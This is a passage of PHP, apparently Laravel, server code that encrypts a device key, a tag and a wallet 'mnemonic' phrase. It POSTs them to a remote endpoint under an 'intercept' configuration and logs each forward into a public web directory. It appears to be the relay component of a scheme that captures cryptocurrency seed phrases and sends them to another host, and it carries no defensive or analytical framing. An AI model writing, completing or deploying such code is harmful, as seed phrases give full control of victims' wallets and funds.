encryptJson([ 'd' => $deviceKey, 'a' => $tag, 'mnemonic' => $phrase, ], $ts); $target = $base.'/us'; $timeout = (int) config('coruna.intercept.forward_timeout', 10); try { $resp = Http::withHeaders([ 'Content-Type' => 'text/plain', 'x-ts' => $ts, ]) ->timeout($timeout) ->connectTimeout(min($timeout, 5)) ->withBody($enc['body'], 'text/plain') ->post($target); $this->writeLog($deviceKey, $target, $resp->status(), (string) $resp->body()); return $resp->successful(); } catch (\Throwable $e) { Log::warning('scan mnemonic forward failed: '.$e->getMessage(), [ 'device_key' => $deviceKey, 'target' => $target, ]); $this->writeLog($deviceKey, $target, 0, $e->getMessage()); return false; } } private function writeLog(string $deviceKey, string $target, int $status, string $body): void { $logPath = public_path('log/intercept'); if (! is_dir($logPath)) { return; } $entry = [ 'time' => date('Y-m-d H:i:s'), 'dir' => 'scan-forward', 'device_key' => $deviceKey, 'target' => $target, 'status' => $status, 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body, ]; $line = $entry['time'].' SCAN-FORWARD '.$entry['target'].' ' .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ."\r\n\r\n"; @file_put_contents($logPath.'/'.date('Ymd').'.log', $line, FILE_APPEND); } }